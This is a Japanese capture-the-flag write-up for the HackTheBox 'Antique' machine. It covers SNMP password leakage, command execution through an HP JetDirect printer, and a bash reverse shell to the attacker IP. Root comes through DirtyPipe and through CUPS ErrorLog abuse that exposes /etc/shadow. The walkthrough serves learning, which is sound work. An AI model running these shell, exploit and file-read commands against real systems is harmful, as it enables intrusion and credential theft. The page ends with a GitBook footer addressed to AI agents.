> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md).

# Antique HackTheBox攻略記事

SNMP列挙、ネットワークプリンターの悪用、CUPS管理の悪用（ErrorLog）、EXTRA ->（DirtyPipe）（CVE-2022-0847]を扱うAntique HackTheBox Easy Linuxマシンの攻略記事。実践的な列挙

{% embed url="<https://app.hackthebox.com/machines/400>" %}

{% hint style="warning" %}
スキル:

* SNMP列挙
* ネットワークプリンタの悪用
* CUPS管理の悪用（ErrorLog）
* EXTRA -> (DirtyPipe) (CVE-2022-0847]
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmapを使用した偵察結果を保存するために、3つのフォルダを作成して作業領域を用意します

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cb035155588326f9e4532ca71e08f2c7149d00e4%2Fimage%20(2497).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b3f1ccbc3f481a9de6771f18679ad0ec073b4cd%2Fimage%20(2498).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### TCPをスキャン:

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS -n -Pn -vvv -min-rate 5000 10.10.11.107 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-23cade44b7a89b072549624663df2a36e3cdfeb7%2F%7BDEF431B0-F0DE-4462-AC3C-38F8E3C217B6%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**extractPorts による開いているポートの分析:**

extractPorts関数を使って開いているポートを簡潔な形式で表示し、クリップボードにコピーします（23.7777）

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d65ed51b8d7079a8cacd9a5486103c8961220224%2Fimage%20(2499).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmapによるポートバージョンスキャン：**

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p23,7777 10.10.11.107 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a8657133817dcdb4e7138c156235d2d5ec4e6855%2F%7B4FA11160-124B-400F-8E4E-560E50363192%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### UDPをスキャン:

**Nmap による開いているポートの検出:**

また、UDPポートのスキャンも行います **Nmap**:

```bash
nmap -sU --open -vvv -n 10.10.11.107 -oG allPortsUDP
```

結果を再度抽出します `extractPorts`、そしてポートの開放を確認します **161**、SNMPで使用されるポートです。:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a81cf64e8a8ff0fb95c33d672b72f1fc35aeb3b%2Fimage%20(2500).png?alt=media" alt=""><figcaption></figcaption></figure>

## サービスの探索

### ポート23（Telnet）– HP JetDirect

ポートへの接続を試みると **23** 経由で **Telnet**、パスワードを求めるHP JetDirectサービスに遭遇します。次のように接続を試せます:

```bash
nc -vn 10.10.11.107 23
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-725a1f608f1d33690482172aa0bb1280cff23f09%2F%7B9974315B-23AA-4C6D-8235-D3369DFB8570%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### ポート161（SNMP）

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp>" %}

次を使用します **snmpbulkwalk** ポートで公開されているSNMPサービスを列挙するために **161**:

```bash
snmpbulkwalk -c public -v2c 10.10.11.107 .
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-595092436e5008d80f347cb7936f6ded67fc5636%2F%7BB7A3614E-949F-40F7-9819-8BBE2AFDD2AA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135
```

これにより16進文字列が得られるので、ASCIIに変換して読み取り可能な内容を取得します:

{% code overflow="wrap" %}

```bash
echo "50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135" | xxd -ps -r
```

{% endcode %}

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a5ab3ee421b0b27c287df57ec4791cd33763b7db%2F%7B3C9FCEF8-EF3C-44F5-A74E-144C7CB7B5DB%7D.png?alt=media" alt=""><figcaption></figcaption></figure></div>

このチャネルには興味深い情報が含まれていますが、エクスプロイトにすぐ使えるものはありません。

```bash
nc -vn 10.10.11.107 23
P@ssw0rd@123!!123
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8e0c9228d74b0fdb0f22e6d3822290d62514f20%2F%7B6F1E205F-49A7-4CA9-A25C-5F8CE6E9A5C5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

ポート23（JetDirect）で文字列をパスワードとして注入しようとする際には、次のような試行を行います:

```bash
P@ssw0rd@123!!123
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f0c80b1e74faaa582d5e5023f6feabbc3bda0248%2F%7BC99DCBB5-30B6-45C0-8AE4-DE80AEEE0C5D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## ネットワークプリンタの悪用

ネットワークプリンタ経由でコマンドを実行できることを確認しました。この脆弱性の悪用は、 `exec` コマンドに依存しており、リモートコマンドを注入できます。例えば:

```bash
exec id
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f829522f1f46cddc1abdc85e79df45e99558472%2Fimage%20(2501).png?alt=media" alt=""><figcaption></figcaption></figure>

これによりシステムの資格情報が返され、他のコマンドを実行できます。

**リバースシェル**

を使ってリバースシェルを確立します **nc** ポート上の **443** 攻撃マシンの:

```bash
nc -nvlp 443
```

```bash
exec bash -c "bash -i >& /dev/tcp/10.10.14.4/443 0>&1" 
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e6f2829c0f8858923eedc0666277ecf206aad07%2Fimage%20(2502).png?alt=media" alt=""><figcaption></figcaption></figure>

次に、より適切に制御できるようにシェルセッションを操作します:

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### user.txtフラグ :) <a href="#user-flag" id="user-flag"></a>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d6ca4f0300e973545cbd6678f625058993240432%2F%7BC9056F09-01CC-4112-AD5B-C8545FBBDE24%7D.png?alt=media" alt="" width="561"><figcaption></figcaption></figure>

## 権限昇格

## 1. DirtyPipeの悪用

{% embed url="<https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit>" %}

このマシンが、稼働中のシステムファイルを変更できるバグであるDirtyPipeのエクスプロイトに対して脆弱かどうかを確認しました。その結果、このマシンには **gcc**、Cコンパイラが、場所で利用可能でした `/usr/bin/gcc`.

```bash
lp@antique:/home/lp$ which gcc
/usr/bin/gcc
```

次に、私たちは **Python3** エクスプロイトをローカルマシンからターゲットマシンへ転送するために。ローカルマシンでは、エクスプロイトを配信するHTTPサーバーを起動しました:

```bash
python3 -m http.server
```

被害者マシン上で、エクスプロイトをダウンロードしました：

```bash
wget http://10.10.14.4/exploit.c
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e81bb0a4f30ef1430d5f616c29aeaf8c56c4518%2Fimage%20(1027).png?alt=media" alt=""><figcaption></figcaption></figure>

エクスプロイトを取得したら、C ファイルを次のコマンドでコンパイルしました **gcc**:

```bash
gcc exploit.c -o exploit
```

{% hint style="info" %}
このエクスプロイトは、 `/etc/passwd` ファイルにパスワードハッシュを注入し、ユーザーを追加します `aaron` 特定のパスワードで、すべて権限昇格を可能にするためです。
{% endhint %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fc0ad0757f5bce1f8bfe2418a3ea7f4580be1a2%2F%7B05D94990-84EC-461B-BE38-3349B04D7B5F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

最後に、スクリプトを実行するだけです：

```bash
./exploit
```

これにより、 `root`/*/* マシンへのアクセス

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7848accef10a484ae739e69fae35d09533a1491c%2Fimage%20(1028).png?alt=media" alt=""><figcaption></figcaption></figure>

## 2. Chiselによるポートフォワーディング

ターゲットマシンの開いているポートを調べたところ、ポート **631** （CUPSで使用されます）。次のコマンドを使って、CUPSサービスの存在を確認しました:

```bash
netstat -nat
```

CUPSサービスのバージョンは **1.6.1** で、脆弱である可能性があると判断しました。このポートを転送するために、 **Chisel**、トンネリングツールです。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22761bd27e9e04071190180bb80e1c9dfbb89885%2Fimage%20(1030).png?alt=media" alt=""><figcaption></figcaption></figure>

まず、ローカルマシンでChiselをコンパイルしました:

{% embed url="<https://github.com/jpillora/chisel>" %}

```bash
go build -ldflags "-s -w" .
upx chisel
```

次に、Python3のHTTPサーバー経由でChisel実行ファイルを被害者マシンに転送しました:

```bash
python3 -m http.server 8080
wget http://10.10.14.4:8080/chisel
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8586a89ccb2ebbb1bd09126142056d8d27798597%2Fimage%20(1031).png?alt=media" alt=""><figcaption></figcaption></figure>

私たちのマシンでChiselサーバーを起動しました:

```bash
chisel server -p 8888 -reverse
```

その後、被害者マシン上でChiselクライアントを設定し、ポート631をローカルマシンへ転送しました:

```bash
./chisel client 10.10.14.4:8888 R:631:127.0.0.1:631
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1faa3561304a86686516c861c51d931ede87db8d%2F%7B78AE4EC8-73DD-4E47-A1AE-8ED8C621C126%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

これにより、安全なトンネル経由でターゲットマシンのCUPS Webインターフェースにアクセスできます。

### CUPS 1.6.1の脆弱性の悪用

{% embed url="<https://github.com/rapid7/metasploit-framework/blob/master/modules/post/multi/escalate/cups_root_file_read.rb>" %}

を使用する **cupsctl**、私たちは **CUPS** サービス設定を変更して **ErrorLog** ファイルを、次のような機密ファイルに **/etc/shadow**。これにより、このファイルをCUPS Webインターフェース経由でrootとして読み取れるようになります。

設定を変更するコマンド:

```bash
cupsctl ErrorLog=/etc/shadow
```

その後、トンネル経由でCUPSサーバー上の次のURLにアクセスして、CUPS Webインターフェースを開きました:

これにより、 **/etc/shadow** ファイルの内容を表示し、 `root.txt` フラグを入手します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f0976e5fefeb3292acb77770ae8bceedd1cc81f0%2Fimage%20(1032).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt フラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-addaeda1828fa8cd3050f13e06842d62835f1e49%2Fimage%20(1029).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3b9a325aaefb4c56559739fc3e0241e54a93716%2F%7BB5465363-AF5E-4CF7-A109-2592326FEAAD%7D.png?alt=media" alt="" width="520"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
